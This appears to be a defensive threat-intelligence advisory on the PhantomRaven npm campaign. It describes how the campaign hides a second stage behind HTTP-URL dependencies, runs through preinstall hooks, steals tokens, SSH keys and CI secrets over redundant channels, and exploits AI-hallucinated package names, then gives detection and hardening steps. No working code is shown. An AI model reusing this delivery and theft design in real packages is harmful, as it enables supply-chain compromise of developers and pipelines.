PhantomRaven: Invisible Remote Dynamic Dependencies Smuggle npm Malware Past Every Scanner

• 1August 2025 — First PhantomRaven packages appear on npm, seeded with RDD http:// dependencies.
• 2October 2025 — Koi Security publicly documents the first wave: 126 malicious packages with 86,434 downloads, coining the term "Remote Dynamic Dependencies."
• 3Nov 2025 – Feb 2026 — Waves two, three and four: 88 additional packages published. Even after reporting, ~81 remained live on npm.
• 4September 2026 — CrowdStrike attributes the campaign to a single "bug-bounty hunter" operator, assesses LLM-authored malware, and observes expansion attempts to PyPI with a similar infostealer.
• 5Ongoing — Two C2 servers remained active at time of the latest reporting; the RDD technique continues to evade static "0 dependencies" checks.

A developer asks an assistant to "remove unused imports" and the model suggests installing unused-imports — a truncation of the real eslint-plugin-unused-imports. The legitimate name is long and easy to mis-recall; the short one sounds right. PhantomRaven registered the short name and wired it to RDD.

Beyond hallucinated names, the campaign published packages impersonating well-known organisations and even MCP (Model Context Protocol) server packages — riding the current gold-rush around AI tooling to blend into legitimate-looking install commands in tutorials and generated snippets.

A PhantomRaven package's manifest declares a dependency whose value is a raw HTTP URL on the attacker's server. npm dutifully downloads whatever tarball that URL returns and installs it as a transitive dependency. Because npmjs.com's own analysis pipeline does not follow off-registry URLs, the package page shows "0 Dependencies."

Static supply-chain scanners and the registry UI build their dependency graph from the manifest's registry-resolvable entries. An off-registry URL is opaque to them — they cannot resolve it, so they omit it. The result is a package that looks dependency-free and therefore low-risk, while carrying an entire second-stage supply chain the tools never see.

The fetched second-stage package carries a preinstall lifecycle script. npm runs lifecycle hooks automatically during npm install, so the payload executes with the developer's privileges the moment the tree resolves — no manual step, no import, no runtime call required.

CrowdStrike assessed with high confidence that the payload was written with an LLM, citing verbose explanatory comments, leftover placeholder code, and statistical token-analysis patterns characteristic of model output. This lowers the skill floor: the operator supplies the delivery trick (RDD) and lets the model generate the stealer logic — enabling the high package volume seen across the waves.

Local Developer Laptop

Personal GitHub token + SSH keys stolen; attacker pivots to private repos and cloud consoles the dev can reach.

CI/CD Build Agent

Workflow secrets and cloud OIDC/keys exfiltrated during dependency install — pipeline-wide blast radius.

Package Maintainer

Stolen npm publish token lets the actor poison the maintainer's own packages, spreading the campaign downstream.

The payload is served from an attacker-controlled host and stolen data is returned to attacker infrastructure. Two C2 servers were reported active at the time of the latest analysis. The naming conventions themselves are an IOC family: strings evoking package registries and artifact stores.

To survive network filtering, the stealer exfiltrates over multiple redundant methods: HTTP GET, HTTP POST, and even WebSocket connections. If one channel is blocked, another carries the data — a resilience pattern that also gives defenders multiple detection surfaces.

Given the naming conventions, defenders can pivot on the confirmed host and its TLS/HTTP fingerprints to surface sibling infrastructure. Start from the known domain, then pivot on shared certificates, favicons and response bodies.

The single highest-signal artefact is a dependency specified as a bare HTTP(S) URL. Grep every manifest and lockfile in the repo and on the host — including historical lockfile entries from the Aug 2025–Feb 2026 window.

The registry page lies; the installed tree does not. Enumerate what actually landed on disk and what a fresh resolve would fetch — a dry-run with scripts disabled is safe.

Assume any secret readable by the install process is compromised. On a build agent, that is the entire workflow secret set; on a laptop, the local git/npm tokens and SSH keys.

• 1Revoke & reissue GitHub PATs / OAuth tokens and npm publish tokens exposed to the host or runner.
• 2Rotate every CI/CD secret in the affected pipeline (cloud keys, registry creds, signing keys).
• 3Review GitHub/GitLab audit logs for anomalous repo clones or new SSH keys after the install time.
• 4Check cloud provider logs for use of exfiltrated keys from unfamiliar IPs.

Lifecycle hooks are the execution primitive. Turn them off globally and re-enable only for the handful of packages that genuinely need them.

Pin installs to a trusted registry or internal proxy (Verdaccio, Artifactory, Nexus) and block direct URL dependencies. If npm cannot reach an arbitrary http:// host, RDD cannot deliver.

• 1Enforce package-lock.json and review diffs for URL-valued dependency specs in code review.
• 2Scan manifests in CI for https?:// dependency values and fail the build.
• 3Use scoped, short-lived tokens and OIDC for cloud auth so a stolen static key is worthless.
• 4Verify package names against canonical repos before install — defeat slopsquatting at the source.